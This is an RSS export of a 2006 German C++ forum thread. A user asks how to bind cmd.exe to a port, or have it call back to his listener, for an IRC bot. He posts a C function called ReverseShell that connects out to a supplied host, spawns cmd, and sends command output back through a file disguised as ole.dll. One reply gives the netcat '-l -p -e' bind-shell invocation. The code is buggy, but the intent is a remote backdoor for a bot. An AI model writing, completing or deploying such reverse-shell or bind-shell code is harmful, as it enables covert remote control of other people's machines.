<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[cmd.exe an einen port binden ... wie ?]]></title><description><![CDATA[<p>Hi,</p>
<p>ich würde gerne eine option in meine Programm einbauen, welche die cmd.exe an einen beliebigen Port bindet. Es soll danach möglich sein eine Telnet Sitzung zu dem Port aufzubauen. Noch schöner wäre ein callback also ich starte bei mir einen listener und lasse mich anrufen ( dann funktioniert nämlich auch doskey <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /> )</p>
<p>Leider fehlt mir das nötige c KnowHow ich hoffe ihr könnt mir weiterhelfen.</p>
<p>Thanx in advance</p>
<p>MFG c°h°</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/135595/cmd-exe-an-einen-port-binden-wie</link><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Jul 2026 15:19:38 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/135595.rss" rel="self" type="application/rss+xml"/><pubDate>Fri, 03 Feb 2006 09:29:59 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Fri, 03 Feb 2006 09:29:59 GMT]]></title><description><![CDATA[<p>Hi,</p>
<p>ich würde gerne eine option in meine Programm einbauen, welche die cmd.exe an einen beliebigen Port bindet. Es soll danach möglich sein eine Telnet Sitzung zu dem Port aufzubauen. Noch schöner wäre ein callback also ich starte bei mir einen listener und lasse mich anrufen ( dann funktioniert nämlich auch doskey <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /> )</p>
<p>Leider fehlt mir das nötige c KnowHow ich hoffe ihr könnt mir weiterhelfen.</p>
<p>Thanx in advance</p>
<p>MFG c°h°</p>
]]></description><link>https://www.c-plusplus.net/forum/post/984788</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984788</guid><dc:creator><![CDATA[c°h°]]></dc:creator><pubDate>Fri, 03 Feb 2006 09:29:59 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Fri, 03 Feb 2006 10:48:38 GMT]]></title><description><![CDATA[<p>Dieser Thread wurde von Moderator/in <a href="http://www.c-plusplus.net/forum/profile.php?mode=viewprofile&amp;u=403" rel="nofollow">HumeSikkins</a> aus dem Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=15" rel="nofollow">C++</a> in das Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=4" rel="nofollow">WinAPI</a> verschoben.</p>
<p>Im Zweifelsfall bitte auch folgende Hinweise beachten:<br />
<a href="http://www.c-plusplus.net/forum/viewtopic.php?t=39405" rel="nofollow">C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?</a></p>
<p><em>Dieses Posting wurde automatisch erzeugt.</em></p>
]]></description><link>https://www.c-plusplus.net/forum/post/984853</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984853</guid><dc:creator><![CDATA[C++ Forumbot]]></dc:creator><pubDate>Fri, 03 Feb 2006 10:48:38 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Fri, 03 Feb 2006 11:00:10 GMT]]></title><description><![CDATA[<p>Warum aktivierst/installierst Du nicht einfach den Telnet Dienst???</p>
<p>Du kannst aber auch PsExec verwenden:<br />
<a href="http://www.sysinternals.com/Utilities/PsExec.html" rel="nofollow">http://www.sysinternals.com/Utilities/PsExec.html</a></p>
]]></description><link>https://www.c-plusplus.net/forum/post/984866</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984866</guid><dc:creator><![CDATA[Jochen Kalmbach]]></dc:creator><pubDate>Fri, 03 Feb 2006 11:00:10 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Fri, 03 Feb 2006 11:44:21 GMT]]></title><description><![CDATA[<p>Ich möchte den Befehl in einen IRC Bot einbauen der soweit schon ganz gut arbeitet (mir fehlt dann auch noch eine SSL verbindung zum IRC Server aber das kommt später )</p>
<p>tia</p>
]]></description><link>https://www.c-plusplus.net/forum/post/984910</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/984910</guid><dc:creator><![CDATA[c°h°]]></dc:creator><pubDate>Fri, 03 Feb 2006 11:44:21 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Sat, 04 Feb 2006 09:01:06 GMT]]></title><description><![CDATA[<p>Also hab jetzt eine sehr rudimentäre Version fertig. Nur frage ich mich ob es nicht geht die cmd.exe direkt an den Socket zu binden so das der input direkt ausgeführt wird und der ourtput der cmd direkt in den socketstream geleitet wird ( und nicht über eine txt datei in die der dos stream geschrieben wird. Diese lese ich dann aus und sende ihren Inhalt zurück.) Ich weiss bis jetzt ist nur ein Befehl möglich.</p>
<pre><code>void ReverseShell(const userinput * const u){

 int sfd, port, bytes_recv;
 struct hostent *host;
 struct sockaddr_in saddr;
 char buf[1024];
 char *command;

 //Socket wird erzeugt und reverse verbunden u-&gt;arg1 beinhaltet die ip, u-&gt;arg2 den Port
 host = gethostbyname(u-&gt;arg1);
 if(!host)
 {
  u_respond(u,&quot;error resolving %s\n&quot;, u-&gt;arg1);
  return;
 }

 port = atoi(u-&gt;arg2);

 if((sfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) &lt; 0)
 {
  u_respond(u,&quot;socket error\n&quot;);
  return;
 }

 bzero(&amp;saddr, sizeof(saddr));
 saddr.sin_family = AF_INET;
 saddr.sin_port = htons(port);
 saddr.sin_addr.s_addr = *(long *)(host-&gt;h_addr);

 if((connect(sfd, (struct sockaddr *)&amp;saddr, sizeof(saddr))) &lt; 0)
 {
  u_respond(u,&quot;connect error\n&quot;);
  return;
 }

 //doexec(sfd);  // hab doexec von netcat probiert führt mich leider auch nicht zum Ziel

 bytes_recv = recv (sfd, buf, sizeof(buf), 0);  //Befehl wird empfangen

 command = mycalloc(maxtextlength);
 sprintf(command,&quot;cmd /C dir c:\ &gt;ole.dll&quot;);  //Befehl bekommt die ricchtige syntax

 //Befehl wird via CreateProcess ausgeführt ( wozu brauche ich die handles, si, pi und sa ? )
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 SECURITY_ATTRIBUTES  sa;

 HANDLE hread, hwrite;

 sa.bInheritHandle= 1;
 sa.nLength = sizeof(SECURITY_ATTRIBUTES);
 sa.lpSecurityDescriptor = NULL;

 if(!CreatePipe(&amp;hread,&amp;hwrite,&amp;sa,0)){
        u_respond(u,&quot;Fehler beim Erstellen der Pipe&quot;);
        return;
 }

 si.cb = sizeof(STARTUPINFO);
 GetStartupInfo(&amp;si);
 si.hStdInput = si.hStdOutput = si.hStdError = SOCK_STREAM;
 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
 si.wShowWindow = SW_SHOW;
 CreateProcess(NULL,&quot;cmd&quot;,NULL,NULL,1,NULL,NULL,NULL,&amp;si,&amp;pi);
 ExitProcess(0);

 //WinExec(command,0);
 sleep( 2 );  //Dachte durch CreateProcess spare ich mir das Sleep dem ist aber leider nicht so
 bytes_recv = send (sfd, si.hStdOutput, sizeof(si.hStdOutput), 0);

 // ausgabe ( lese rfc.ocx aus )
 FILE * d_readeR;
 d_readeR = fopen(&quot;ole.dll&quot;,&quot;r&quot;);
 if(d_readeR == NULL){
 	u_respond(u,&quot;no output&quot;);
 	return;
 }
 else{
 	char d_writeR[100];
 	while(!feof(d_readeR)){
 		if( fgets(d_writeR, 100, d_readeR) != 0) send(sfd, d_writeR, sizeof(d_writeR), 0);
 	}
 }
 fclose(d_readeR);
 remove(&quot;ole.dll&quot;);
 return;
}
</code></pre>
<p>Danke für jeden Verbesserungsvorsschlag sei er noch so klein <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
<p>MFG c°h°</p>
]]></description><link>https://www.c-plusplus.net/forum/post/985455</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/985455</guid><dc:creator><![CDATA[c°h°]]></dc:creator><pubDate>Sat, 04 Feb 2006 09:01:06 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Sat, 04 Feb 2006 12:26:37 GMT]]></title><description><![CDATA[<p>Eingabe/Ausgabe umleiten siehe hier: <a href="http://support.microsoft.com/kb/190351/en-us" rel="nofollow">http://support.microsoft.com/kb/190351/en-us</a></p>
<p>Man kann dann mit einem Host-Programm die Kommunikation übernehmen und die empfangenen Daten direkt in die Konsole schreiben und die Antwort wieder empfangen.</p>
<p>Wenn man die beiden Beispielprogramme kompiliert, ist das Host-Programm (redirect.exe) zu öffnen. Dort kann man eine Eingabe tätigen, die dann wieder ausgegeben wird (mit Umweg über child.exe). Das ganze passiert übrigens Multi-threaded.</p>
<p>Hoffe das hilft.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/985586</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/985586</guid><dc:creator><![CDATA[picocat]]></dc:creator><pubDate>Sat, 04 Feb 2006 12:26:37 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Sat, 04 Feb 2006 13:36:00 GMT]]></title><description><![CDATA[<p>Kennt denn niemand hier nc? NETCAT? verdammt!</p>
<p><a href="http://www.vulnwatch.org/netcat" rel="nofollow">www.vulnwatch.org/netcat</a></p>
<p>das beste tool für sowas<br />
einfach mit -t -l -p[port] -e [deine exe] starten!</p>
]]></description><link>https://www.c-plusplus.net/forum/post/985650</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/985650</guid><dc:creator><![CDATA[achwas]]></dc:creator><pubDate>Sat, 04 Feb 2006 13:36:00 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Sat, 04 Feb 2006 17:28:47 GMT]]></title><description><![CDATA[<p>@achwas: Doch ich! :p Hab mich schon die ganze Zeit gefragt, wann netcat endlich erwähnt wird <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f921.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--clown_face"
      title=":clown:"
      alt="🤡"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/985929</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/985929</guid><dc:creator><![CDATA[m3ph1570]]></dc:creator><pubDate>Sat, 04 Feb 2006 17:28:47 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Mon, 13 Feb 2006 22:43:02 GMT]]></title><description><![CDATA[<p>danke habs hinbekommen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/993585</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/993585</guid><dc:creator><![CDATA[c°h°]]></dc:creator><pubDate>Mon, 13 Feb 2006 22:43:02 GMT</pubDate></item><item><title><![CDATA[Reply to cmd.exe an einen port binden ... wie ? on Tue, 14 Feb 2006 20:59:55 GMT]]></title><description><![CDATA[<p>SDK\NETDS\WINSOCK\DT_DLL.DSW</p>
]]></description><link>https://www.c-plusplus.net/forum/post/994347</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/994347</guid><dc:creator><![CDATA[Buddy Love]]></dc:creator><pubDate>Tue, 14 Feb 2006 20:59:55 GMT</pubDate></item></channel></rss>